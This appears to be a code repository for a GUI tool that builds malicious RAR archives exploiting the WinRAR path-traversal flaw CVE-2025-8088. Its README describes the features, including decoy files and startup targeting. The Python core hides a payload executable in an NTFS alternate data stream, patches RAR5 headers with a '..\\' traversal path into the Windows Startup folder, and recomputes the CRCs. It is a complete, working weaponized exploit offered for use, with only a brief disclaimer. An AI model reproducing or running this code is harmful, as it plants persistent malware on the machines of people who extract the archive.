├── requirements.txt ├── output └── README.md ├── README.md ├── gui.py └── exploit_core.py /requirements.txt: -------------------------------------------------------------------------------- 1 | customtkinter==5.2.0 -------------------------------------------------------------------------------- /output/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onlytoxi/CVE-2025-8088-Winrar-Tool/HEAD/output/README.md -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2025-8088 WinRAR Exploit 2 | 3 | > **Advanced WinRAR Path Traversal Exploit Tool** 4 | 5 | A sophisticated GUI tool for creating malicious RAR archives that exploit the WinRAR path traversal vulnerability (CVE-2025-8088) using ADS and RAR5 header manipulation. 6 | 7 | ## Features 8 | 9 | - **ADS Exploitation** - NTFS Alternate Data Streams for payload hiding 10 | - **RAR5 Header Manipulation** - Direct header patching for path injection 11 | - **GUI Interface** - Clean, modern user interface 12 | - **Startup Targeting** - Automatic payload placement in Windows startup 13 | - **Custom Decoy Support** - Use your own decoy files or default 14 | 15 | ## Requirements 16 | 17 | - Python 3.6+ 18 | - WinRAR CLI 19 | - customtkinter 20 | 21 | ## Quick Start 22 | 23 | ```bash 24 | # Install dependencies 25 | pip install -r requirements.txt 26 | 27 | # Run the tool 28 | python gui.py 29 | ``` 30 | 31 | ## Usage 32 | 33 | 1. **Select Payload** - Choose your executable file (.exe, .bat, etc.) 34 | 2. **Choose Decoy** - Select a decoy file or leave empty for default 35 | 3. **Name Archive** - Enter output RAR filename 36 | 4. **Build** - Generate the exploit archive 37 | 38 | ## How It Works 39 | 40 | The tool creates RAR archives with path traversal using: 41 | 42 | 1. **ADS Creation** - Hides payload in NTFS alternate data streams 43 | 2. **RAR Building** - Creates base RAR with ADS using WinRAR CLI 44 | 3. **Header Patching** - Injects traversal path into RAR5 headers 45 | 4. **CRC Recalculation** - Ensures archive integrity 46 | 5. **Output** - Delivers malicious RAR ready for extraction 47 | 48 | **Path Example**: `..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe` 49 | 50 | ## Disclaimer 51 | 52 | This tool is for **educational and authorized testing purposes only**. Use only in controlled environments with proper consent. 53 | 54 | ## Author 55 | 56 | **Made by [@tcixt](https://t.me/tcixt) on Telegram** 57 | 58 | --- 59 | 60 | *Advanced red team tool for CVE-2025-8088 exploitation* -------------------------------------------------------------------------------- /gui.py: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | from tkinter import filedialog, messagebox 3 | import customtkinter as ctk 4 | import os 5 | from datetime import datetime 6 | import traceback 7 | 8 | from exploit_core import WinRARExploit 9 | 10 | class ExploitGUI: 11 | def __init__(self): 12 | self.root = ctk.CTk() 13 | self.root.title("CVE-2025-8088 WinRAR Exploit") 14 | self.root.geometry("400x430") 15 | self.root.minsize(400, 430) 16 | 17 | self.exploit = WinRARExploit() 18 | 19 | self.setup_variables() 20 | self.setup_ui() 21 | 22 | def setup_variables(self): 23 | self.payload_path_var = tk.StringVar() 24 | self.decoy_path_var = tk.StringVar() 25 | self.output_name_var = tk.StringVar() 26 | self.username_var= tk.StringVar(value="Administrator") 27 | 28 | def setup_ui(self): 29 | ctk.CTkLabel(self.root, text="Made by @tcixt on Telegram", font=("Arial", 16, "bold")).pack(pady=10) 30 | 31 | payload_frame = ctk.CTkFrame(self.root) 32 | payload_frame.pack(fill="x", padx=20, pady=10) 33 | 34 | ctk.CTkLabel(payload_frame, text="Payload File:", font=("Arial", 14, "bold")).pack(anchor="w", padx=10, pady=5) 35 | 36 | payload_select_frame = ctk.CTkFrame(payload_frame) 37 | payload_select_frame.pack(fill="x", padx=10, pady=5) 38 | 39 | ctk.CTkEntry(payload_select_frame, textvariable=self.payload_path_var, placeholder_text="Select payload file (.exe, .bat, etc.)").pack(side="left", fill="x", expand=True, padx=(0, 5)) 40 | ctk.CTkButton(payload_select_frame, text="Browse", command=self.browse_payload, width=80).pack(side="right") 41 | 42 | decoy_frame = ctk.CTkFrame(self.root) 43 | decoy_frame.pack(fill="x", padx=20, pady=10) 44 | 45 | ctk.CTkLabel(decoy_frame, text="Decoy File:", font=("Arial", 14, "bold")).pack(anchor="w", padx=10, pady=5) 46 | 47 | decoy_select_frame = ctk.CTkFrame(decoy_frame) 48 | decoy_select_frame.pack(fill="x", padx=10, pady=5) 49 | 50 | ctk.CTkEntry(decoy_select_frame, textvariable=self.decoy_path_var, placeholder_text="Select decoy file (will create default if empty)").pack(side="left", fill="x", expand=True, padx=(0, 5)) 51 | ctk.CTkButton(decoy_select_frame, text="Browse", command=self.browse_decoy, width=80).pack(side="right") 52 | 53 | fallback_username_frame = ctk.CTkFrame(self.root) 54 | fallback_username_frame.pack(fill="x", padx=20, pady=10) 55 | ctk.CTkLabel(fallback_username_frame, text="Fallback UserName:", font=("Arial", 14, "bold")).pack(anchor="w", padx=10, pady=5) 56 | ctk.CTkEntry(fallback_username_frame, textvariable=self.username_var, placeholder_text="Enter a fallback user name (Optional)").pack(side="left", fill="x", expand=True, padx=10, pady=5) 57 | 58 | 59 | 60 | output_frame = ctk.CTkFrame(self.root) 61 | output_frame.pack(fill="x", padx=20, pady=10) 62 | 63 | ctk.CTkLabel(output_frame, text="Output Archive Name:", font=("Arial", 14, "bold")).pack(anchor="w", padx=10, pady=5) 64 | 65 | output_select_frame = ctk.CTkFrame(output_frame) 66 | output_select_frame.pack(fill="x", padx=10, pady=5) 67 | 68 | ctk.CTkEntry(output_select_frame, textvariable=self.output_name_var, placeholder_text="Enter archive name").pack(side="left", fill="x", expand=True, padx=(0, 5)) 69 | ctk.CTkButton(output_select_frame, text="Build", command=self.create_exploit, width=80).pack(side="right") 70 | 71 | def browse_payload(self): 72 | file_path = filedialog.askopenfilename( 73 | title="Select Payload File", 74 | filetypes=[("Executable files", "*.exe"), ("Batch files", "*.bat"), ("All files", "*.*")] 75 | ) 76 | if file_path: 77 | self.payload_path_var.set(file_path) 78 | 79 | def browse_decoy(self): 80 | file_path = filedialog.askopenfilename( 81 | title="Select Decoy File", 82 | filetypes=[("Text files", "*.txt"), ("All files", "*.*")] 83 | ) 84 | if file_path: 85 | self.decoy_path_var.set(file_path) 86 | 87 | def create_exploit(self): 88 | try: 89 | if not self.payload_path_var.get().strip(): 90 | messagebox.showerror("Error", "Please select a payload file") 91 | return 92 | 93 | if not self.output_name_var.get().strip(): 94 | messagebox.showerror("Error", "Please enter an output archive name") 95 | return 96 | 97 | output_dir = "output" 98 | if not os.path.exists(output_dir): 99 | os.makedirs(output_dir) 100 | 101 | output_name = self.output_name_var.get().strip() 102 | if not output_name.endswith('.rar'): 103 | output_name += '.rar' 104 | output_path = os.path.join(output_dir, output_name) 105 | 106 | success = self.exploit.create_malicious_archive( 107 | self.payload_path_var.get().strip(), 108 | output_path, 109 | self.decoy_path_var.get().strip() if self.decoy_path_var.get().strip() else None, 110 | self.username_var.get().strip() 111 | ) 112 | 113 | if success: 114 | messagebox.showinfo("Success", f"Exploit archive created successfully!\nSaved to: {output_path}") 115 | else: 116 | messagebox.showerror("Error", "Failed to create exploit archive") 117 | 118 | except Exception as e: 119 | self.create_crash_log(e) 120 | messagebox.showerror("Error", f"An error occurred. Check crash_log.txt for details.\nError: {str(e)}") 121 | 122 | def create_crash_log(self, error): 123 | import traceback 124 | import datetime 125 | 126 | with open("crash_log.txt", "w") as f: 127 | f.write(f"Crash occurred at: {datetime.datetime.now()}\n") 128 | f.write(f"Error: {str(error)}\n") 129 | f.write("Traceback:\n") 130 | f.write(traceback.format_exc()) 131 | 132 | def run(self): 133 | self.root.mainloop() 134 | 135 | if __name__ == "__main__": 136 | app = ExploitGUI() 137 | app.run() 138 | -------------------------------------------------------------------------------- /exploit_core.py: -------------------------------------------------------------------------------- 1 | import os 2 | import shutil 3 | import subprocess 4 | import struct 5 | import zlib 6 | from pathlib import Path 7 | 8 | RAR5_SIG = b"Rar!\x1A\x07\x01\x00" 9 | HFL_EXTRA = 0x0001 10 | HFL_DATA = 0x0002 11 | 12 | class WinRARExploit: 13 | def __init__(self): 14 | self.winrar_path = self._find_winrar() 15 | 16 | def _find_winrar(self): 17 | paths = [ 18 | r"C:\Program Files\WinRAR\rar.exe", 19 | r"C:\Program Files (x86)\WinRAR\rar.exe" 20 | ] 21 | for path in paths: 22 | if os.path.exists(path): 23 | return path 24 | return None 25 | 26 | def create_malicious_archive(self, payload_path: str, output_path: str, decoy_path: str = None, fallback_username:str="Administrator") -> bool: 27 | try: 28 | if not os.path.exists(payload_path): 29 | return False 30 | 31 | if not self.winrar_path: 32 | return False 33 | 34 | return self._create_ads_exploit(payload_path, output_path, decoy_path, fallback_username) 35 | 36 | except Exception as e: 37 | print(f"Error: {e}") 38 | return False 39 | 40 | def _run(self, cmd: str, cwd: Path | None = None, check=True): 41 | cp = subprocess.run(cmd, shell=True, cwd=str(cwd) if cwd else None, 42 | stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True) 43 | if check and cp.returncode != 0: 44 | raise RuntimeError(f"Command failed ({cp.returncode}): {cmd}\n{cp.stdout}") 45 | return cp 46 | 47 | def _ensure_file(self, path: Path, default_text: str | None) -> None: 48 | if path.exists(): 49 | return 50 | if default_text is None: 51 | raise SystemExit(f"[-] Required file not found: {path}") 52 | path.parent.mkdir(parents=True, exist_ok=True) 53 | path.write_text(default_text, encoding="utf-8") 54 | print(f"[+] Created file: {path}") 55 | 56 | def _attach_ads_placeholder(self, decoy_path: Path, payload_path: Path, placeholder_len: int) -> str: 57 | placeholder = "X" * placeholder_len 58 | ads_path = f"{decoy_path}:{placeholder}" 59 | data = Path(payload_path).read_bytes() 60 | with open(ads_path, "wb") as f: 61 | f.write(data) 62 | print("[+] Attached ADS on disk") 63 | return placeholder 64 | 65 | def _build_base_rar_with_streams(self, rar_exe: str, decoy_path: Path, base_out: Path) -> None: 66 | if base_out.exists(): 67 | base_out.unlink() 68 | self._run(f'"{rar_exe}" a -ep -os "{base_out}" "{decoy_path}"') 69 | 70 | def _get_vint(self, buf: bytes, off: int) -> tuple[int, int]: 71 | val, shift, i = 0, 0, off 72 | while True: 73 | if i >= len(buf): raise ValueError("Truncated vint") 74 | b = buf[i]; i += 1 75 | val |= (b & 0x7F) << shift 76 | if (b & 0x80) == 0: break 77 | shift += 7 78 | if shift > 70: raise ValueError("vint too large") 79 | return val, i - off 80 | 81 | def _patch_placeholder_in_header(self, hdr: bytearray, placeholder_utf8: bytes, target_utf8: bytes) -> int: 82 | needle = b":" + placeholder_utf8 83 | count, i = 0, 0 84 | while True: 85 | j = hdr.find(needle, i) 86 | if j < 0: break 87 | start = j + 1 88 | old_len = len(placeholder_utf8) 89 | if len(target_utf8) > old_len: 90 | raise ValueError("Replacement longer than placeholder. Increase --placeholder_len.") 91 | hdr[start:start+len(target_utf8)] = target_utf8 92 | if len(target_utf8) < old_len: 93 | hdr[start+len(target_utf8):start+old_len] = b"\x00" * (old_len - len(target_utf8)) 94 | count += 1 95 | i = start + old_len 96 | return count 97 | 98 | def _rebuild_all_header_crc(self, buf: bytearray) -> int: 99 | sigpos = buf.find(RAR5_SIG) 100 | if sigpos < 0: 101 | raise RuntimeError("Not a RAR5 archive (signature missing).") 102 | pos = sigpos + len(RAR5_SIG) 103 | blocks = 0 104 | while pos + 4 <= len(buf): 105 | block_start = pos 106 | try: 107 | header_size, hsz_len = self._get_vint(buf, block_start + 4) 108 | except Exception: 109 | break 110 | header_start = block_start + 4 + hsz_len 111 | header_end = header_start + header_size 112 | if header_end > len(buf): break 113 | region = buf[block_start + 4:header_end] 114 | crc = zlib.crc32(region) & 0xFFFFFFFF 115 | struct.pack_into(" str: 129 | s = str(abs_path) 130 | s = s.replace("/", "\\") 131 | if len(s) >= 2 and s[1] == ":": 132 | s = s[2:] 133 | while s.startswith("\\"): 134 | s = s[1:] 135 | return s 136 | 137 | def _build_traversal_name(self, drop_abs_dir: Path, payload_name: str, max_up: int = 16) -> str: 138 | if max_up < 8: 139 | raise SystemExit("[-] --max_up must be >= 8 to reliably reach drive root from typical user folders.") 140 | tail = self._strip_drive(drop_abs_dir) 141 | rel = ("..\\" * max_up) + tail + "\\" + payload_name 142 | if rel.startswith("\\") or (len(rel) >= 2 and rel[1] == ":"): 143 | raise SystemExit("[-] Internal path error: produced an absolute name. Report this.") 144 | return rel 145 | 146 | def _patch_archive_placeholder(self, base_rar: Path, out_rar: Path, placeholder: str, target_rel: str) -> None: 147 | data = bytearray(base_rar.read_bytes()) 148 | sigpos = data.find(RAR5_SIG) 149 | if sigpos < 0: 150 | raise SystemExit("[-] Not a RAR5 archive (signature not found).") 151 | pos = sigpos + len(RAR5_SIG) 152 | 153 | placeholder_utf8 = placeholder.encode("utf-8") 154 | target_utf8 = target_rel.encode("utf-8") 155 | 156 | total = 0 157 | while pos + 4 <= len(data): 158 | block_start = pos 159 | try: 160 | header_size, hsz_len = self._get_vint(data, block_start + 4) 161 | except Exception: 162 | break 163 | header_start = block_start + 4 + hsz_len 164 | header_end = header_start + header_size 165 | if header_end > len(data): break 166 | 167 | hdr = bytearray(data[header_start:header_end]) 168 | c = self._patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8) 169 | if c: 170 | data[header_start:header_end] = hdr 171 | total += c 172 | 173 | i = header_start 174 | _htype, n1 = self._get_vint(data, i); i += n1 175 | hflags, n2 = self._get_vint(data, i); i += n2 176 | if (hflags & HFL_EXTRA) != 0: 177 | _extrasz, n3 = self._get_vint(data, i); i += n3 178 | datasz = 0 179 | if (hflags & HFL_DATA) != 0: 180 | datasz, n4 = self._get_vint(data, i); i += n4 181 | pos = header_end + datasz 182 | 183 | if total == 0: 184 | raise SystemExit("[-] Placeholder not found in RAR headers. Ensure you built with -os and same placeholder.") 185 | print(f"[+] Patched {total} placeholder occurrence(s).") 186 | 187 | blocks = self._rebuild_all_header_crc(data) 188 | print(f"[+] Recomputed CRC for {blocks} header block(s).") 189 | 190 | out_rar.write_bytes(data) 191 | print(f"[+] Wrote patched archive: {out_rar}") 192 | print(f"[i] Injected stream name: {target_rel}") 193 | 194 | def _create_ads_exploit(self, payload_path: str, output_path: str, decoy_path: str = None, fallback_username:str="Administrator") -> bool: 195 | workdir = Path.cwd() 196 | decoy_path_obj = Path(decoy_path) if decoy_path else workdir / "decoy.txt" 197 | payload_path_obj = Path(payload_path) 198 | output_rar = Path(output_path) 199 | base_rar = output_rar.with_suffix(".base.rar") 200 | 201 | # More robust username detection 202 | current_user = os.getenv('USERNAME') or os.getenv('USER') or fallback_username 203 | print(f"[+] Detected username: {current_user}") 204 | 205 | # Use fallback user name path as fallback for compatibility 206 | drop_abs_dir = Path(rf"C:\Users\{fallback_username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup") 207 | print(f"[+] Target directory: {drop_abs_dir}") 208 | 209 | if not decoy_path: 210 | self._ensure_file(decoy_path_obj, "PoC\n") 211 | 212 | injected_target = self._build_traversal_name(drop_abs_dir, payload_path_obj.name, max_up=8) 213 | print(f"[+] Injected stream name will be: {injected_target}") 214 | 215 | ph_len = max(len(injected_target), 128) 216 | 217 | placeholder = self._attach_ads_placeholder(decoy_path_obj, payload_path_obj, ph_len) 218 | 219 | self._build_base_rar_with_streams(self.winrar_path, decoy_path_obj, base_rar) 220 | 221 | self._patch_archive_placeholder(base_rar, output_rar, placeholder, injected_target) 222 | 223 | if base_rar.exists(): 224 | try: 225 | base_rar.unlink() 226 | except: 227 | pass 228 | 229 | print(f"\n[V] Done.") 230 | print(f"Payload will be dropped to: {drop_abs_dir}\\{payload_path_obj.name}") 231 | 232 | return output_rar.exists() 233 | 234 | def get_available_tools(self): 235 | tools = [] 236 | if self.winrar_path: 237 | tools.append("WinRAR CLI") 238 | return tools 239 | --------------------------------------------------------------------------------